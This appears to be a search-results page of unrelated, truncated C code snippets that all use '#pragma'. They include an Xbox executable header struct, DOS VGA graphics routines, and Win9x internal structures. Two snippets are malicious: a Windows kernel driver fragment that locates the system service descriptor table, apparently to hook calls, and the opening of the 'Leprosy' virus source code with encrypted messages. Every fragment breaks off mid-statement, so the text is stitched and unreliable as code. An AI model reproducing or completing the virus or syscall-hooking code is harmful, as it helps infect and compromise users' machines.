#pragma

... ************************** // * class : xbe // ****************************************************************** class xbe { public: #pragma pack(1) struct header { uint32 m_magic; // magic number [should be "XBEH"] uint08 m_digsig[256]; // digital signature uint32 m_base; // base address uint32 m_sizeof_headers; // size of headers uint32 m_sizeof_image; // size of image uint32 m_sizeof_image_header; // size of image header uint32 m_timedate; // timedate stamp uint32 m_certificate_addr; // certificate address uint32 m_sections; // number of sections uint32 m_sec ...

... OffsetET_NextETFlink 0x22c /* ETHREAD.ThreadListEntry.Flink */ #define OffsetET_ServiceTable 0xe0 /* ETHREAD.KTHREAD.ServiceTable */ #pragma pack(1) typedef struct _ServiceDescriptorEntry { ULONG *ServiceTableBase; ULONG *ServiceCounterTableBase; ULONG NumberOfServices; UCHAR *ParamTableBase; } ServiceDescriptorEntry; #pragma pack() typedef struct _SSDT_DescriptorTables { ServiceDescriptorEntry ServiceTables[4]; } SSDTDescriptorTables; extern ServiceDescriptorEntry KeServiceDescriptorTable; NTSTATUS DriverEntry (IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) { ULONG GUIEprocess, *GetMessageAddr; SSDTDescriptorTable ...

... display (Yes, the putpixel is not optimized, but that's not the point of this example program :-) */ void videomode(unsigned short int mode); #pragma aux videomode = \ "int 10h" \ parm [ax] \ modify [ax]; void putpixel(unsigned int x, unsigned int y, char color); #pragma aux putpixel = \ "shl eax, 6" \ "mov ebx, eax" \ "shl eax, 2" \ "add eax, ebx" \ "add eax, ecx" \ "add eax, 0a0000h" \ "mov edi, eax" \ "mov [edi], dl" \ parm [ecx] [eax] [dl] \ modify [eax ebx edi]; /* Function Declarations for PointProject and DrawBox */ void PointProject(int distance, vector point, vector *dest, vector center); void DrawBox(int cenx, int ceny, int ...

... #47; Includes #include <stdio.h> #include <iostream.h> #include <math.h> #include <dos.h> // Graphics void mode(int); #pragma aux mode=\ "int 0x10"\ parm [eax] modify exact [eax]; char *vga = (char *)0xA0000, texture[256*256]; void outp(unsigned short, char); #pragma aux outp=\ "out dx, al"\ parm [dx] [al] modify exact [dx al]; void init_txtr() { int i, j; #ifdef GENERATE_UGLY_TEXTURE // Generate A Xor Texture for (i=0; i<256; i++) for (j=0; j<256; j++) texture[i + j*256] = i^j; #else FILE *f; f = fopen("texture.raw","rb"); fread(texture,256*256,1,f); fclose(f); #endif // Setup A Fading Palette o ...

... = 0xa0000; //------------------------------------ // Video Routines //------------------------------------ void setvga(void); #pragma aux setvga=\ "mov ax,13h"\ "int 10h"\ modify[eax]; void settxt(void); #pragma aux settxt=\ "mov ax,03h"\ "int 10h"\ modify[eax]; // Set unchained tweaked vga mode void Tweak(void); #pragma aux Tweak=\ "mov dx,3c4h"\ "mov ax,604h"\ "out dx,ax"\ "mov ax,0f02h"\ "out dx,ax"\ "mov dx,3d4h"\ "mov ax,14h"\ "out dx,ax"\ "mov ax,0e317h"\ "out dx,ax"\ "mov al,9"\ "out dx,al"\ "inc dx"\ "in al,dx"\ "and al,0e0h"\ "add al,7"\ "out dx,al"\ modify[dx ax]; void waitretrace(void); #pragma aux waitretr ...

... 00000040 #define fStackOverflow 0x00000080 #define fNestedCleanAPCs 0x00000100 #define fWasOemNowAnsi 0x00000200 #define fOKToSetThreadOem 0x00000400 #pragma pack(1) //MODREF and IMTE structures typedef struct _MODREF { struct _MODREF *pNextModRef; // 00h DWORD un1; // 04h DWORD un2; // 08h DWORD un3; // 0Ch WORD mteIndex; // 10h WORD un4; // 12h DWORD un5; // 14h PVOID ppdb; // 18h Pointer to process database DWORD un6; // 1Ch DWORD un7; // 20h DWORD un8; // 24h } MODREF, *PMODREF; typedef struct _IMTE { DWORD un1; // 00h PIMAGE_NT_HEADERS pNTHdr ...

... rmatting disks or hard drives, etc... Virus Source Code Now for the real thing, we will start with the C Language source code to the "Leprosy" Virus. #pragma inline #define CRLF "\x17\x14" /* CR/LF combo encrypted. */ #define NO_MATCH 0x12 /* No match in wildcard search. */ char fake_msg[] = CRLF "Z|yq|kw*~yy*lsq*~y*ps~*sx*wowy|\x83."; char *virus_msg[3] = { CRLF "\x13XOa]*PVK]R++**cy\x7f|*}\x83}~ow*rk}*loox*sxpom~on*\x81s~r*~ro.", CRLF "\x13sxm\x7f|klvo*nomk\x83*yp*VOZ\\Y]c*;8::6*k*\x80s|\x7f}*sx\x80ox~on*l\x83.", CRLF "\x13ZMW<*sx*T\x7fxo*yp*;CC:8**Qyyn*v\x7fmu+\x17\x14." }; struct _dta /* Disk Transfer Area format for f ...